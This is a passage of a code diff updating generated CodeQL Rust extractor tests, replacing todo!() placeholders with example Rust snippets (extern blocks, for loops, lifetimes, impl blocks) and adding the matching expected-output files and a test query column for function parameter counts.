hasCrateOrigin: | no | hasAttributeMacroExpansion: | no | getNumberOfAttrs: | 0 | hasIdentifier: | yes | hasRename: | no | hasVisibility: | no | diff --git a/rust/ql/test/extractor-tests/generated/ExternCrate/ExternCrate_getIdentifier.expected b/rust/ql/test/extractor-tests/generated/ExternCrate/ExternCrate_getIdentifier.expected index e69de29bb2d..3e545d1761d 100644 --- a/rust/ql/test/extractor-tests/generated/ExternCrate/ExternCrate_getIdentifier.expected +++ b/rust/ql/test/extractor-tests/generated/ExternCrate/ExternCrate_getIdentifier.expected @@ -0,0 +1 @@ +| gen_extern_crate.rs:4:5:7:23 | ExternCrate | gen_extern_crate.rs:7:18:7:22 | serde | diff --git a/rust/ql/test/extractor-tests/generated/ExternCrate/gen_extern_crate.rs b/rust/ql/test/extractor-tests/generated/ExternCrate/gen_extern_crate.rs index 88a4a7e0b9d..c077457449a 100644 --- a/rust/ql/test/extractor-tests/generated/ExternCrate/gen_extern_crate.rs +++ b/rust/ql/test/extractor-tests/generated/ExternCrate/gen_extern_crate.rs @@ -1,6 +1,8 @@ // generated by codegen, do not edit fn test_extern_crate() -> () { - // A ExternCrate. For example: - todo!() + // An extern crate declaration. + // + // For example: + extern crate serde; } diff --git a/rust/ql/test/extractor-tests/generated/ExternItemList/ExternItemList.expected b/rust/ql/test/extractor-tests/generated/ExternItemList/ExternItemList.expected index e69de29bb2d..9cc7190339f 100644 --- a/rust/ql/test/extractor-tests/generated/ExternItemList/ExternItemList.expected +++ b/rust/ql/test/extractor-tests/generated/ExternItemList/ExternItemList.expected @@ -0,0 +1 @@ +| gen_extern_item_list.rs:7:16:10:5 | ExternItemList | getNumberOfAttrs: | 0 | getNumberOfExternItems: | 2 | diff --git a/rust/ql/test/extractor-tests/generated/ExternItemList/ExternItemList_getExternItem.expected b/rust/ql/test/extractor-tests/generated/ExternItemList/ExternItemList_getExternItem.expected index e69de29bb2d..a1f1b91aca6 100644 --- a/rust/ql/test/extractor-tests/generated/ExternItemList/ExternItemList_getExternItem.expected +++ b/rust/ql/test/extractor-tests/generated/ExternItemList/ExternItemList_getExternItem.expected @@ -0,0 +1,2 @@ +| gen_extern_item_list.rs:7:16:10:5 | ExternItemList | 0 | gen_extern_item_list.rs:8:9:8:17 | fn foo | +| gen_extern_item_list.rs:7:16:10:5 | ExternItemList | 1 | gen_extern_item_list.rs:9:9:9:24 | Static | diff --git a/rust/ql/test/extractor-tests/generated/ExternItemList/gen_extern_item_list.rs b/rust/ql/test/extractor-tests/generated/ExternItemList/gen_extern_item_list.rs index 80577fc78fb..efc9a7dc92b 100644 --- a/rust/ql/test/extractor-tests/generated/ExternItemList/gen_extern_item_list.rs +++ b/rust/ql/test/extractor-tests/generated/ExternItemList/gen_extern_item_list.rs @@ -1,6 +1,11 @@ // generated by codegen, do not edit fn test_extern_item_list() -> () { - // A ExternItemList. For example: - todo!() + // A list of items inside an extern block. + // + // For example: + extern "C" { + fn foo(); + static BAR: i32; + } } diff --git a/rust/ql/test/extractor-tests/generated/FnPtrTypeRepr/FnPtrTypeRepr.expected b/rust/ql/test/extractor-tests/generated/FnPtrTypeRepr/FnPtrTypeRepr.expected index e69de29bb2d..e70c54798b2 100644 --- a/rust/ql/test/extractor-tests/generated/FnPtrTypeRepr/FnPtrTypeRepr.expected +++ b/rust/ql/test/extractor-tests/generated/FnPtrTypeRepr/FnPtrTypeRepr.expected @@ -0,0 +1 @@ +| gen_fn_ptr_type_repr.rs:7:12:7:25 | FnPtrTypeRepr | hasAbi: | no | isAsync: | no | isConst: | no | isUnsafe: | no | hasParamList: | yes | hasRetType: | yes | diff --git a/rust/ql/test/extractor-tests/generated/FnPtrTypeRepr/FnPtrTypeRepr_getParamList.expected b/rust/ql/test/extractor-tests/generated/FnPtrTypeRepr/FnPtrTypeRepr_getParamList.expected index e69de29bb2d..26e6ae2ef9f 100644 --- a/rust/ql/test/extractor-tests/generated/FnPtrTypeRepr/FnPtrTypeRepr_getParamList.expected +++ b/rust/ql/test/extractor-tests/generated/FnPtrTypeRepr/FnPtrTypeRepr_getParamList.expected @@ -0,0 +1 @@ +| gen_fn_ptr_type_repr.rs:7:12:7:25 | FnPtrTypeRepr | gen_fn_ptr_type_repr.rs:7:14:7:18 | ParamList | diff --git a/rust/ql/test/extractor-tests/generated/FnPtrTypeRepr/FnPtrTypeRepr_getRetType.expected b/rust/ql/test/extractor-tests/generated/FnPtrTypeRepr/FnPtrTypeRepr_getRetType.expected index e69de29bb2d..244765e9506 100644 --- a/rust/ql/test/extractor-tests/generated/FnPtrTypeRepr/FnPtrTypeRepr_getRetType.expected +++ b/rust/ql/test/extractor-tests/generated/FnPtrTypeRepr/FnPtrTypeRepr_getRetType.expected @@ -0,0 +1 @@ +| gen_fn_ptr_type_repr.rs:7:12:7:25 | FnPtrTypeRepr | gen_fn_ptr_type_repr.rs:7:20:7:25 | RetTypeRepr | diff --git a/rust/ql/test/extractor-tests/generated/FnPtrTypeRepr/gen_fn_ptr_type_repr.rs b/rust/ql/test/extractor-tests/generated/FnPtrTypeRepr/gen_fn_ptr_type_repr.rs index d8c07124d10..a2e33cd0510 100644 --- a/rust/ql/test/extractor-tests/generated/FnPtrTypeRepr/gen_fn_ptr_type_repr.rs +++ b/rust/ql/test/extractor-tests/generated/FnPtrTypeRepr/gen_fn_ptr_type_repr.rs @@ -1,6 +1,9 @@ // generated by codegen, do not edit fn test_fn_ptr_type_repr() -> () { - // A FnPtrTypeRepr. For example: - todo!() + // A function pointer type. + // + // For example: + let f: fn(i32) -> i32; + // ^^^^^^^^^^^^^^ } diff --git a/rust/ql/test/extractor-tests/generated/ForExpr/ForExpr.expected b/rust/ql/test/extractor-tests/generated/ForExpr/ForExpr.expected index e69de29bb2d..afe5349abb5 100644 --- a/rust/ql/test/extractor-tests/generated/ForExpr/ForExpr.expected +++ b/rust/ql/test/extractor-tests/generated/ForExpr/ForExpr.expected @@ -0,0 +1 @@ +| gen_for_expr.rs:7:5:9:5 | for ... in ... { ... } | hasLabel: | no | hasLoopBody: | yes | getNumberOfAttrs: | 0 | hasIterable: | yes | hasPat: | yes | diff --git a/rust/ql/test/extractor-tests/generated/ForExpr/ForExpr_getIterable.expected b/rust/ql/test/extractor-tests/generated/ForExpr/ForExpr_getIterable.expected index e69de29bb2d..d73979b6df8 100644 --- a/rust/ql/test/extractor-tests/generated/ForExpr/ForExpr_getIterable.expected +++ b/rust/ql/test/extractor-tests/generated/ForExpr/ForExpr_getIterable.expected @@ -0,0 +1 @@ +| gen_for_expr.rs:7:5:9:5 | for ... in ... { ... } | gen_for_expr.rs:7:14:7:18 | 0..10 | diff --git a/rust/ql/test/extractor-tests/generated/ForExpr/ForExpr_getLoopBody.expected b/rust/ql/test/extractor-tests/generated/ForExpr/ForExpr_getLoopBody.expected index e69de29bb2d..d0460f8ed7a 100644 --- a/rust/ql/test/extractor-tests/generated/ForExpr/ForExpr_getLoopBody.expected +++ b/rust/ql/test/extractor-tests/generated/ForExpr/ForExpr_getLoopBody.expected @@ -0,0 +1 @@ +| gen_for_expr.rs:7:5:9:5 | for ... in ... { ... } | gen_for_expr.rs:7:20:9:5 | { ... } | diff --git a/rust/ql/test/extractor-tests/generated/ForExpr/ForExpr_getPat.expected b/rust/ql/test/extractor-tests/generated/ForExpr/ForExpr_getPat.expected index e69de29bb2d..44c312073f9 100644 --- a/rust/ql/test/extractor-tests/generated/ForExpr/ForExpr_getPat.expected +++ b/rust/ql/test/extractor-tests/generated/ForExpr/ForExpr_getPat.expected @@ -0,0 +1 @@ +| gen_for_expr.rs:7:5:9:5 | for ... in ... { ... } | gen_for_expr.rs:7:9:7:9 | x | diff --git a/rust/ql/test/extractor-tests/generated/ForExpr/gen_for_expr.rs b/rust/ql/test/extractor-tests/generated/ForExpr/gen_for_expr.rs index bda4a972556..f87a8ab3fea 100644 --- a/rust/ql/test/extractor-tests/generated/ForExpr/gen_for_expr.rs +++ b/rust/ql/test/extractor-tests/generated/ForExpr/gen_for_expr.rs @@ -1,6 +1,10 @@ // generated by codegen, do not edit fn test_for_expr() -> () { - // A ForExpr. For example: - todo!() + // A for loop expression. + // + // For example: + for x in 0..10 { + println!("{}", x); + } } diff --git a/rust/ql/test/extractor-tests/generated/ForTypeRepr/ForTypeRepr.expected b/rust/ql/test/extractor-tests/generated/ForTypeRepr/ForTypeRepr.expected index e69de29bb2d..6adad498f31 100644 --- a/rust/ql/test/extractor-tests/generated/ForTypeRepr/ForTypeRepr.expected +++ b/rust/ql/test/extractor-tests/generated/ForTypeRepr/ForTypeRepr.expected @@ -0,0 +1 @@ +| gen_for_type_repr.rs:9:12:9:41 | ForTypeRepr | hasGenericParamList: | yes | hasTypeRepr: | yes | diff --git a/rust/ql/test/extractor-tests/generated/ForTypeRepr/ForTypeRepr_getGenericParamList.expected b/rust/ql/test/extractor-tests/generated/ForTypeRepr/ForTypeRepr_getGenericParamList.expected index e69de29bb2d..0cb4ba87209 100644 --- a/rust/ql/test/extractor-tests/generated/ForTypeRepr/ForTypeRepr_getGenericParamList.expected +++ b/rust/ql/test/extractor-tests/generated/ForTypeRepr/ForTypeRepr_getGenericParamList.expected @@ -0,0 +1 @@ +| gen_for_type_repr.rs:9:12:9:41 | ForTypeRepr | gen_for_type_repr.rs:9:15:9:18 | <...> | diff --git a/rust/ql/test/extractor-tests/generated/ForTypeRepr/ForTypeRepr_getTypeRepr.expected b/rust/ql/test/extractor-tests/generated/ForTypeRepr/ForTypeRepr_getTypeRepr.expected index e69de29bb2d..14610d6319f 100644 --- a/rust/ql/test/extractor-tests/generated/ForTypeRepr/ForTypeRepr_getTypeRepr.expected +++ b/rust/ql/test/extractor-tests/generated/ForTypeRepr/ForTypeRepr_getTypeRepr.expected @@ -0,0 +1 @@ +| gen_for_type_repr.rs:9:12:9:41 | ForTypeRepr | gen_for_type_repr.rs:9:20:9:41 | Fn | diff --git a/rust/ql/test/extractor-tests/generated/ForTypeRepr/gen_for_type_repr.rs b/rust/ql/test/extractor-tests/generated/ForTypeRepr/gen_for_type_repr.rs index 5e1c39e49c3..49cd9e5c1ab 100644 --- a/rust/ql/test/extractor-tests/generated/ForTypeRepr/gen_for_type_repr.rs +++ b/rust/ql/test/extractor-tests/generated/ForTypeRepr/gen_for_type_repr.rs @@ -1,6 +1,14 @@ // generated by codegen, do not edit fn test_for_type_repr() -> () { - // A ForTypeRepr. For example: - todo!() + // A higher-ranked trait bound. + // + // For example: + fn foo(value: T) + where + T: for<'a> Fn(&'a str) -> &'a str + // ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ + { + // ... + } } diff --git a/rust/ql/test/extractor-tests/generated/Function/Function.expected b/rust/ql/test/extractor-tests/generated/Function/Function.expected index 6c772a52a61..967606c2542 100644 --- a/rust/ql/test/extractor-tests/generated/Function/Function.expected +++ b/rust/ql/test/extractor-tests/generated/Function/Function.expected @@ -1,2 +1,2 @@ -| gen_function.rs:3:1:4:38 | fn foo | hasParamList: | yes | getNumberOfAttrs: | 0 | hasExtendedCanonicalPath: | yes | hasCrateOrigin: | yes | hasAttributeMacroExpansion: | no | hasAbi: | no | hasBody: | yes | hasGenericParamList: | no | isAsync: | no | isConst: | no | isDefault: | no | isGen: | no | isUnsafe: | no | hasName: | yes | hasRetType: | yes | hasVisibility: | no | hasWhereClause: | no | hasImplementation: | yes | -| gen_function.rs:7:5:7:13 | fn bar | hasParamList: | yes | getNumberOfAttrs: | 0 | hasExtendedCanonicalPath: | yes | hasCrateOrigin: | yes | hasAttributeMacroExpansion: | no | hasAbi: | no | hasBody: | no | hasGenericParamList: | no | isAsync: | no | isConst: | no | isDefault: | no | isGen: | no | isUnsafe: | no | hasName: | yes | hasRetType: | no | hasVisibility: | no | hasWhereClause: | no | hasImplementation: | no | +| gen_function.rs:3:1:4:38 | fn foo | hasParamList: | yes | getNumberOfAttrs: | 0 | getNumberOfParams: | 1 | hasExtendedCanonicalPath: | yes | hasCrateOrigin: | yes | hasAttributeMacroExpansion: | no | hasAbi: | no | hasBody: | yes | hasGenericParamList: | no | isAsync: | no | isConst: | no | isDefault: | no | isGen: | no | isUnsafe: | no | hasName: | yes | hasRetType: | yes | hasVisibility: | no | hasWhereClause: | no | hasImplementation: | yes | +| gen_function.rs:7:5:7:13 | fn bar | hasParamList: | yes | getNumberOfAttrs: | 0 | getNumberOfParams: | 0 | hasExtendedCanonicalPath: | yes | hasCrateOrigin: | yes | hasAttributeMacroExpansion: | no | hasAbi: | no | hasBody: | no | hasGenericParamList: | no | isAsync: | no | isConst: | no | isDefault: | no | isGen: | no | isUnsafe: | no | hasName: | yes | hasRetType: | no | hasVisibility: | no | hasWhereClause: | no | hasImplementation: | no | diff --git a/rust/ql/test/extractor-tests/generated/Function/Function.ql b/rust/ql/test/extractor-tests/generated/Function/Function.ql index 9be6ebb6e49..5e50f7a4ac0 100644 --- a/rust/ql/test/extractor-tests/generated/Function/Function.ql +++ b/rust/ql/test/extractor-tests/generated/Function/Function.ql @@ -3,16 +3,17 @@ import codeql.rust.elements import TestUtils from - Function x, string hasParamList, int getNumberOfAttrs, string hasExtendedCanonicalPath, - string hasCrateOrigin, string hasAttributeMacroExpansion, string hasAbi, string hasBody, - string hasGenericParamList, string isAsync, string isConst, string isDefault, string isGen, - string isUnsafe, string hasName, string hasRetType, string hasVisibility, string hasWhereClause, - string hasImplementation + Function x, string hasParamList, int getNumberOfAttrs, int getNumberOfParams, + string hasExtendedCanonicalPath, string hasCrateOrigin, string hasAttributeMacroExpansion, + string hasAbi, string hasBody, string hasGenericParamList, string isAsync, string isConst, + string isDefault, string isGen, string isUnsafe, string hasName, string hasRetType, + string hasVisibility, string hasWhereClause, string hasImplementation where toBeTested(x) and not x.isUnknown() and (if x.hasParamList() then hasParamList = "yes" else hasParamList = "no") and getNumberOfAttrs = x.getNumberOfAttrs() and + getNumberOfParams = x.getNumberOfParams() and ( if x.hasExtendedCanonicalPath() then hasExtendedCanonicalPath = "yes" @@ -38,9 +39,9 @@ where (if x.hasWhereClause() then hasWhereClause = "yes" else hasWhereClause = "no") and if x.hasImplementation() then hasImplementation = "yes" else hasImplementation = "no" select x, "hasParamList:", hasParamList, "getNumberOfAttrs:", getNumberOfAttrs, - "hasExtendedCanonicalPath:", hasExtendedCanonicalPath, "hasCrateOrigin:", hasCrateOrigin, - "hasAttributeMacroExpansion:", hasAttributeMacroExpansion, "hasAbi:", hasAbi, "hasBody:", hasBody, - "hasGenericParamList:", hasGenericParamList, "isAsync:", isAsync, "isConst:", isConst, - "isDefault:", isDefault, "isGen:", isGen, "isUnsafe:", isUnsafe, "hasName:", hasName, - "hasRetType:", hasRetType, "hasVisibility:", hasVisibility, "hasWhereClause:", hasWhereClause, - "hasImplementation:", hasImplementation + "getNumberOfParams:", getNumberOfParams, "hasExtendedCanonicalPath:", hasExtendedCanonicalPath, + "hasCrateOrigin:", hasCrateOrigin, "hasAttributeMacroExpansion:", hasAttributeMacroExpansion, + "hasAbi:", hasAbi, "hasBody:", hasBody, "hasGenericParamList:", hasGenericParamList, "isAsync:", + isAsync, "isConst:", isConst, "isDefault:", isDefault, "isGen:", isGen, "isUnsafe:", isUnsafe, + "hasName:", hasName, "hasRetType:", hasRetType, "hasVisibility:", hasVisibility, + "hasWhereClause:", hasWhereClause, "hasImplementation:", hasImplementation diff --git a/rust/ql/test/extractor-tests/generated/Function/Function_getParam.expected b/rust/ql/test/extractor-tests/generated/Function/Function_getParam.expected new file mode 100644 index 00000000000..6a7340509a7 --- /dev/null +++ b/rust/ql/test/extractor-tests/generated/Function/Function_getParam.expected @@ -0,0 +1 @@ +| gen_function.rs:3:1:4:38 | fn foo | 0 | gen_function.rs:4:8:4:13 | ...: u32 | diff --git a/rust/ql/test/extractor-tests/generated/Function/Function_getParam.ql b/rust/ql/test/extractor-tests/generated/Function/Function_getParam.ql new file mode 100644 index 00000000000..c936ea99da7 --- /dev/null +++ b/rust/ql/test/extractor-tests/generated/Function/Function_getParam.ql @@ -0,0 +1,7 @@ +// generated by codegen, do not edit +import codeql.rust.elements +import TestUtils + +from Function x, int index +where toBeTested(x) and not x.isUnknown() +select x, index, x.getParam(index) diff --git a/rust/ql/test/extractor-tests/generated/Impl/Impl.expected b/rust/ql/test/extractor-tests/generated/Impl/Impl.expected index e69de29bb2d..5297703e7d8 100644 --- a/rust/ql/test/extractor-tests/generated/Impl/Impl.expected +++ b/rust/ql/test/extractor-tests/generated/Impl/Impl.expected @@ -0,0 +1 @@ +| gen_impl.rs:4:5:9:5 | impl MyTrait for MyType { ... } | hasExtendedCanonicalPath: | no | hasCrateOrigin: | no | hasAttributeMacroExpansion: | no | hasAssocItemList: | yes | getNumberOfAttrs: | 0 | hasGenericParamList: | no | isConst: | no | isDefault: | no | isUnsafe: | no | hasSelfTy: | yes | hasTrait: | yes | hasVisibility: | no | hasWhereClause: | no | diff --git a/rust/ql/test/extractor-tests/generated/Impl/Impl_getAssocItemList.expected b/rust/ql/test/extractor-tests/generated/Impl/Impl_getAssocItemList.expected index e69de29bb2d..ae3d1f4a97f 100644 --- a/rust/ql/test/extractor-tests/generated/Impl/Impl_getAssocItemList.expected +++ b/rust/ql/test/extractor-tests/generated/Impl/Impl_getAssocItemList.expected @@ -0,0 +1 @@ +| gen_impl.rs:4:5:9:5 | impl MyTrait for MyType { ... } | gen_impl.rs:7:29:9:5 | AssocItemList | diff --git a/rust/ql/test/extractor-tests/generated/Impl/Impl_getSelfTy.expected b/rust/ql/test/extractor-tests/generated/Impl/Impl_getSelfTy.expected index e69de29bb2d..3d38010c592 100644 --- a/rust/ql/test/extractor-tests/generated/Impl/Impl_getSelfTy.expected +++ b/rust/ql/test/extractor-tests/generated/Impl/Impl_getSelfTy.expected @@ -0,0 +1 @@ +| gen_impl.rs:4:5:9:5 | impl MyTrait for MyType { ... } | gen_impl.rs:7:22:7:27 | MyType | diff --git a/rust/ql/test/extractor-tests/generated/Impl/Impl_getTrait.expected b/rust/ql/test/extractor-tests/generated/Impl/Impl_getTrait.expected index e69de29bb2d..9c0392972e1 100644 --- a/rust/ql/test/extractor-tests/generated/Impl/Impl_getTrait.expected +++ b/rust/ql/test/extractor-tests/generated/Impl/Impl_getTrait.expected @@ -0,0 +1 @@ +| gen_impl.rs:4:5:9:5 | impl MyTrait for MyType { ... } | gen_impl.rs:7:10:7:16 | MyTrait | diff --git a/rust/ql/test/extractor-tests/generated/Impl/gen_impl.rs b/rust/ql/test/extractor-tests/generated/Impl/gen_impl.rs index 41254299a94..717d2e29b87 100644 --- a/rust/ql/test/extractor-tests/generated/Impl/gen_impl.rs +++ b/rust/ql/test/extractor-tests/generated/Impl/gen_impl.rs @@ -1,6 +1,10 @@ // generated by codegen, do not edit fn test_impl() -> () { - // A Impl. For example: - todo!() + // An `impl`` block. + // + // For example: + impl MyTrait for MyType { + fn foo(&self) {} + } } diff --git a/rust/ql/test/extractor-tests/generated/ImplTraitTypeRepr/ImplTraitTypeRepr.expected b/rust/ql/test/extractor-tests/generated/ImplTraitTypeRepr/ImplTraitTypeRepr.expected index e69de29bb2d..27a8426d9c2 100644 --- a/rust/ql/test/extractor-tests/generated/ImplTraitTypeRepr/ImplTraitTypeRepr.expected +++ b/rust/ql/test/extractor-tests/generated/ImplTraitTypeRepr/ImplTraitTypeRepr.expected @@ -0,0 +1 @@ +| gen_impl_trait_type_repr.rs:7:17:7:41 | ImplTraitTypeRepr | hasTypeBoundList: | yes | diff --git a/rust/ql/test/extractor-tests/generated/ImplTraitTypeRepr/ImplTraitTypeRepr_getTypeBoundList.expected b/rust/ql/test/extractor-tests/generated/ImplTraitTypeRepr/ImplTraitTypeRepr_getTypeBoundList.expected index e69de29bb2d..fbab626faa2 100644 --- a/rust/ql/test/extractor-tests/generated/ImplTraitTypeRepr/ImplTraitTypeRepr_getTypeBoundList.expected +++ b/rust/ql/test/extractor-tests/generated/ImplTraitTypeRepr/ImplTraitTypeRepr_getTypeBoundList.expected @@ -0,0 +1 @@ +| gen_impl_trait_type_repr.rs:7:17:7:41 | ImplTraitTypeRepr | gen_impl_trait_type_repr.rs:7:22:7:41 | TypeBoundList | diff --git a/rust/ql/test/extractor-tests/generated/ImplTraitTypeRepr/gen_impl_trait_type_repr.rs b/rust/ql/test/extractor-tests/generated/ImplTraitTypeRepr/gen_impl_trait_type_repr.rs index 36404a83f84..93fab7930ed 100644 --- a/rust/ql/test/extractor-tests/generated/ImplTraitTypeRepr/gen_impl_trait_type_repr.rs +++ b/rust/ql/test/extractor-tests/generated/ImplTraitTypeRepr/gen_impl_trait_type_repr.rs @@ -1,6 +1,9 @@ // generated by codegen, do not edit fn test_impl_trait_type_repr() -> () { - // A ImplTraitTypeRepr. For example: - todo!() + // An `impl Trait` type. + // + // For example: + fn foo() -> impl Iterator { 0..10 } + // ^^^^^^^^^^^^^^^^^^^^^^^^^^ } diff --git a/rust/ql/test/extractor-tests/generated/InferTypeRepr/InferTypeRepr.expected b/rust/ql/test/extractor-tests/generated/InferTypeRepr/InferTypeRepr.expected index e69de29bb2d..7078443bf00 100644 --- a/rust/ql/test/extractor-tests/generated/InferTypeRepr/InferTypeRepr.expected +++ b/rust/ql/test/extractor-tests/generated/InferTypeRepr/InferTypeRepr.expected @@ -0,0 +1 @@ +| gen_infer_type_repr.rs:7:12:7:12 | _ | diff --git a/rust/ql/test/extractor-tests/generated/InferTypeRepr/gen_infer_type_repr.rs b/rust/ql/test/extractor-tests/generated/InferTypeRepr/gen_infer_type_repr.rs index a1be7a78f21..95e88850579 100644 --- a/rust/ql/test/extractor-tests/generated/InferTypeRepr/gen_infer_type_repr.rs +++ b/rust/ql/test/extractor-tests/generated/InferTypeRepr/gen_infer_type_repr.rs @@ -1,6 +1,9 @@ // generated by codegen, do not edit fn test_infer_type_repr() -> () { - // A InferTypeRepr. For example: - todo!() + // An inferred type (`_`). + // + // For example: + let x: _ = 42; + // ^ } diff --git a/rust/ql/test/extractor-tests/generated/ItemList/ItemList.expected b/rust/ql/test/extractor-tests/generated/ItemList/ItemList.expected index e69de29bb2d..482eff5695c 100644 --- a/rust/ql/test/extractor-tests/generated/ItemList/ItemList.expected +++ b/rust/ql/test/extractor-tests/generated/ItemList/ItemList.expected @@ -0,0 +1 @@ +| gen_item_list.rs:7:11:10:5 | ItemList | getNumberOfAttrs: | 0 | getNumberOfItems: | 2 | diff --git a/rust/ql/test/extractor-tests/generated/ItemList/ItemList_getItem.expected b/rust/ql/test/extractor-tests/generated/ItemList/ItemList_getItem.expected index e69de29bb2d..1ea2c7b8fc7 100644 --- a/rust/ql/test/extractor-tests/generated/ItemList/ItemList_getItem.expected +++ b/rust/ql/test/extractor-tests/generated/ItemList/ItemList_getItem.expected @@ -0,0 +1,2 @@ +| gen_item_list.rs:7:11:10:5 | ItemList | 0 | gen_item_list.rs:8:9:8:19 | fn foo | +| gen_item_list.rs:7:11:10:5 | ItemList | 1 | gen_item_list.rs:9:9:9:17 | struct S | diff --git a/rust/ql/test/extractor-tests/generated/ItemList/gen_item_list.rs b/rust/ql/test/extractor-tests/generated/ItemList/gen_item_list.rs index 5866f8da891..5ef75ba9222 100644 --- a/rust/ql/test/extractor-tests/generated/ItemList/gen_item_list.rs +++ b/rust/ql/test/extractor-tests/generated/ItemList/gen_item_list.rs @@ -1,6 +1,11 @@ // generated by codegen, do not edit fn test_item_list() -> () { - // A ItemList. For example: - todo!() + // A list of items in a module or block. + // + // For example: + mod m { + fn foo() {} + struct S; + } } diff --git a/rust/ql/test/extractor-tests/generated/LetElse/LetElse.expected b/rust/ql/test/extractor-tests/generated/LetElse/LetElse.expected index e69de29bb2d..64b1e39e01d 100644 --- a/rust/ql/test/extractor-tests/generated/LetElse/LetElse.expected +++ b/rust/ql/test/extractor-tests/generated/LetElse/LetElse.expected @@ -0,0 +1 @@ +| gen_let_else.rs:7:23:9:5 | else {...} | hasBlockExpr: | yes | diff --git a/rust/ql/test/extractor-tests/generated/LetElse/LetElse_getBlockExpr.expected b/rust/ql/test/extractor-tests/generated/LetElse/LetElse_getBlockExpr.expected index e69de29bb2d..0083f6a3df5 100644 --- a/rust/ql/test/extractor-tests/generated/LetElse/LetElse_getBlockExpr.expected +++ b/rust/ql/test/extractor-tests/generated/LetElse/LetElse_getBlockExpr.expected @@ -0,0 +1 @@ +| gen_let_else.rs:7:23:9:5 | else {...} | gen_let_else.rs:7:28:9:5 | { ... } | diff --git a/rust/ql/test/extractor-tests/generated/LetElse/gen_let_else.rs b/rust/ql/test/extractor-tests/generated/LetElse/gen_let_else.rs index 3bd4a625448..30d9b056cd0 100644 --- a/rust/ql/test/extractor-tests/generated/LetElse/gen_let_else.rs +++ b/rust/ql/test/extractor-tests/generated/LetElse/gen_let_else.rs @@ -1,6 +1,11 @@ // generated by codegen, do not edit fn test_let_else() -> () { - // A LetElse. For example: - todo!() + // An else block in a let-else statement. + // + // For example: + let Some(x) = opt else { + return; + }; + // ^^^^^^ } diff --git a/rust/ql/test/extractor-tests/generated/Lifetime/Lifetime.expected b/rust/ql/test/extractor-tests/generated/Lifetime/Lifetime.expected index e69de29bb2d..bb57ab8de87 100644 --- a/rust/ql/test/extractor-tests/generated/Lifetime/Lifetime.expected +++ b/rust/ql/test/extractor-tests/generated/Lifetime/Lifetime.expected @@ -0,0 +1,2 @@ +| gen_lifetime.rs:7:12:7:13 | 'a | hasText: | yes | +| gen_lifetime.rs:7:20:7:21 | 'a | hasText: | yes | diff --git a/rust/ql/test/extractor-tests/generated/Lifetime/Lifetime_getText.expected b/rust/ql/test/extractor-tests/generated/Lifetime/Lifetime_getText.expected index e69de29bb2d..3570dcab91a 100644 --- a/rust/ql/test/extractor-tests/generated/Lifetime/Lifetime_getText.expected +++ b/rust/ql/test/extractor-tests/generated/Lifetime/Lifetime_getText.expected @@ -0,0 +1,2 @@ +| gen_lifetime.rs:7:12:7:13 | 'a | 'a | +| gen_lifetime.rs:7:20:7:21 | 'a | 'a | diff --git a/rust/ql/test/extractor-tests/generated/Lifetime/gen_lifetime.rs b/rust/ql/test/extractor-tests/generated/Lifetime/gen_lifetime.rs index 700261e2af5..e6a4ea563a1 100644 --- a/rust/ql/test/extractor-tests/generated/Lifetime/gen_lifetime.rs +++ b/rust/ql/test/extractor-tests/generated/Lifetime/gen_lifetime.rs @@ -1,6 +1,9 @@ // generated by codegen, do not edit fn test_lifetime() -> () { - // A Lifetime. For example: - todo!() + // A lifetime annotation. + // + // For example: + fn foo<'a>(x: &'a str) {} + // ^^ ^^ } diff --git a/rust/ql/test/extractor-tests/generated/LifetimeArg/LifetimeArg.expected b/rust/ql/test/extractor-tests/generated/LifetimeArg/LifetimeArg.expected index e69de29bb2d..07554eee9bc 100644 --- a/rust/ql/test/extractor-tests/generated/LifetimeArg/LifetimeArg.expected +++ b/rust/ql/test/extractor-tests/generated/LifetimeArg/LifetimeArg.expected @@ -0,0 +1 @@ +| gen_lifetime_arg.rs:7:20:7:21 | LifetimeArg | hasLifetime: | yes | diff --git a/rust/ql/test/extractor-tests/generated/LifetimeArg/LifetimeArg_getLifetime.expected b/rust/ql/test/extractor-tests/generated/LifetimeArg/LifetimeArg_getLifetime.expected index e69de29bb2d..598bae0390f 100644 --- a/rust/ql/test/extractor-tests/generated/LifetimeArg/LifetimeArg_getLifetime.expected +++ b/rust/ql/test/extractor-tests/generated/LifetimeArg/LifetimeArg_getLifetime.expected @@ -0,0 +1 @@ +| gen_lifetime_arg.rs:7:20:7:21 | LifetimeArg | gen_lifetime_arg.rs:7:20:7:21 | 'a | diff --git a/rust/ql/test/extractor-tests/generated/LifetimeArg/gen_lifetime_arg.rs b/rust/ql/test/extractor-tests/generated/LifetimeArg/gen_lifetime_arg.rs index cb03015cad0..ac7cd324579 100644 --- a/rust/ql/test/extractor-tests/generated/LifetimeArg/gen_lifetime_arg.rs +++ b/rust/ql/test/extractor-tests/generated/LifetimeArg/gen_lifetime_arg.rs @@ -1,6 +1,9 @@ // generated by codegen, do not edit fn test_lifetime_arg() -> () { - // A LifetimeArg. For example: - todo!() + // A lifetime argument in a generic argument list. + // + // For example: + let text: Text<'a>; + // ^^ } diff --git a/rust/ql/test/extractor-tests/generated/LifetimeParam/LifetimeParam.expected b/rust/ql/test/extractor-tests/generated/LifetimeParam/LifetimeParam.expected index e69de29bb2d..2055797b2fd 100644 --- a/rust/ql/test/extractor-tests/generated/LifetimeParam/LifetimeParam.expected +++ b/rust/ql/test/extractor-tests/generated/LifetimeParam/LifetimeParam.expected @@ -0,0 +1 @@ +| gen_lifetime_param.rs:7:12:7:13 | LifetimeParam | getNumberOfAttrs: | 0 | hasLifetime: | yes | hasTypeBoundList: | no | diff --git a/rust/ql/test/extractor-tests/generated/LifetimeParam/LifetimeParam_getLifetime.expected b/rust/ql/test/extractor-tests/generated/LifetimeParam/LifetimeParam_getLifetime.expected index e69de29bb2d..1d1bc5bf0b0 100644 --- a/rust/ql/test/extractor-tests/generated/LifetimeParam/LifetimeParam_getLifetime.expected +++ b/rust/ql/test/extractor-tests/generated/LifetimeParam/LifetimeParam_getLifetime.expected @@ -0,0 +1 @@ +| gen_lifetime_param.rs:7:12:7:13 | LifetimeParam | gen_lifetime_param.rs:7:12:7:13 | 'a | diff --git a/rust/ql/test/extractor-tests/generated/LifetimeParam/gen_lifetime_param.rs b/rust/ql/test/extractor-tests/generated/LifetimeParam/gen_lifetime_param.rs index 7b55f134665..6687cd996a5 100644 --- a/rust/ql/test/extractor-tests/generated/LifetimeParam/gen_lifetime_param.rs +++ b/rust/ql/test/extractor-tests/generated/LifetimeParam/gen_lifetime_param.rs @@ -1,6 +1,9 @@ // generated by codegen, do not edit fn test_lifetime_param() -> () { - // A LifetimeParam. For example: - todo!() + // A lifetime parameter in a generic parameter list. + // + // 